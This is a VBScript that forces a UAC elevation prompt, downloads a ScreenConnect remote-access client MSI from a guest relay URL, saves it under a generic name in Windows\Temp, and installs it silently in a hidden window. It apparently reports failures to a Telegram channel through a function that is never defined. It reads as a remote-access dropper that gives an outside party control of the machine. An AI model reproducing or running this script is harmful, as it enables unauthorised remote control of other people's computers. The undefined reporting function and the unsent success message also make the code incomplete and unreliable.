Option Explicit

' ============================================================
' CONFIGURATION
' ============================================================
Const MSI_URL   = "https://send415.screenconnect.com/Bin/ScreenConnect.ClientSetup.msi?e=Access&y=Guest"
Const MSI_PATH  = "C:\Windows\Temp\software.msi"

' ============================================================
' CHECK ADMINISTRATOR PRIVILEGES
' ============================================================
If Not IsAdmin() Then
    ElevateScript
    WScript.Quit
End If

' ============================================================
' OBJECTS
' ============================================================
Dim fso, shell, http, stream
Dim exitCode, message

Set fso = CreateObject("Scripting.FileSystemObject")
Set shell = CreateObject("WScript.Shell")

' ============================================================
' DOWNLOAD MSI
' ============================================================
On Error Resume Next

Set http = CreateObject("WinHttp.WinHttpRequest.5.1")

http.Open "GET", MSI_URL, False
http.Send

If Err.Number <> 0 Then
    message = "MSI download FAILED." & vbCrLf & _
              "Computer: " & GetComputerName() & vbCrLf & _
              "Error: " & Err.Description

    On Error GoTo 0
    SendTelegram message
    WScript.Quit 1
End If

If http.Status <> 200 Then
    message = "MSI download FAILED." & vbCrLf & _
              "Computer: " & GetComputerName() & vbCrLf & _
              "HTTP status: " & http.Status

    On Error GoTo 0
    SendTelegram message
    WScript.Quit 1
End If

Set stream = CreateObject("ADODB.Stream")

stream.Type = 1
stream.Open
stream.Write http.ResponseBody
stream.SaveToFile MSI_PATH, 2
stream.Close

If Err.Number <> 0 Then
    message = "MSI save FAILED." & vbCrLf & _
              "Computer: " & GetComputerName() & vbCrLf & _
              "Error: " & Err.Description

    On Error GoTo 0
    SendTelegram message
    WScript.Quit 1
End If

On Error GoTo 0

' ============================================================
' INSTALL MSI AS ADMINISTRATOR
' ============================================================
exitCode = shell.Run( _
    "msiexec.exe /i """ & MSI_PATH & """ /qn /norestart", _
    0, _
    True _
)

' ============================================================
' REPORT RESULT
' ============================================================
If exitCode = 0 Then

    message = "MSI installation SUCCESS" & vbCrLf & _
              "Computer: " & GetComputerName() & vbCrLf & _
              "Exit code: " & exitCode

ElseIf exitCode = 3010 Then

    message = "MSI installation SUCCESS - RESTART REQUIRED" & vbCrLf & _
              "Computer: " & GetComputerName() & vbCrLf & _
              "Exit code: " & exitCode

Else

    message = "MSI installation FAILED" & vbCrLf & _
              "Computer: " & GetComputerName() & vbCrLf & _
              "Exit code: " & exitCode

End If

' ============================================================
' CHECK ADMIN
' ============================================================
Function IsAdmin()

    Dim result
    result = False

    On Error Resume Next

    Dim sh
    Set sh = CreateObject("WScript.Shell")

    ' Attempt to write to the Administrators-only registry area.
    Err.Clear

    sh.RegWrite _
        "HKLM\SOFTWARE\VBScriptAdminTest\Check", _
        "1", _
        "REG_SZ"

    If Err.Number = 0 Then
        result = True

        On Error Resume Next
        sh.RegDelete "HKLM\SOFTWARE\VBScriptAdminTest\Check"
        sh.RegDelete "HKLM\SOFTWARE\VBScriptAdminTest\"
    End If

    On Error GoTo 0

    IsAdmin = result

End Function

' ============================================================
' ELEVATE USING UAC
' ============================================================
Sub ElevateScript()

    Dim app, scriptPath, params

    Set app = CreateObject("Shell.Application")

    scriptPath = WScript.ScriptFullName

    params = """" & scriptPath & """"

    app.ShellExecute _
        "wscript.exe", _
        params, _
        "", _
        "runas", _
        1

End Sub

' ============================================================
' COMPUTER NAME
' ============================================================
Function GetComputerName()

    GetComputerName = _
        shell.ExpandEnvironmentStrings("%COMPUTERNAME%")

End Function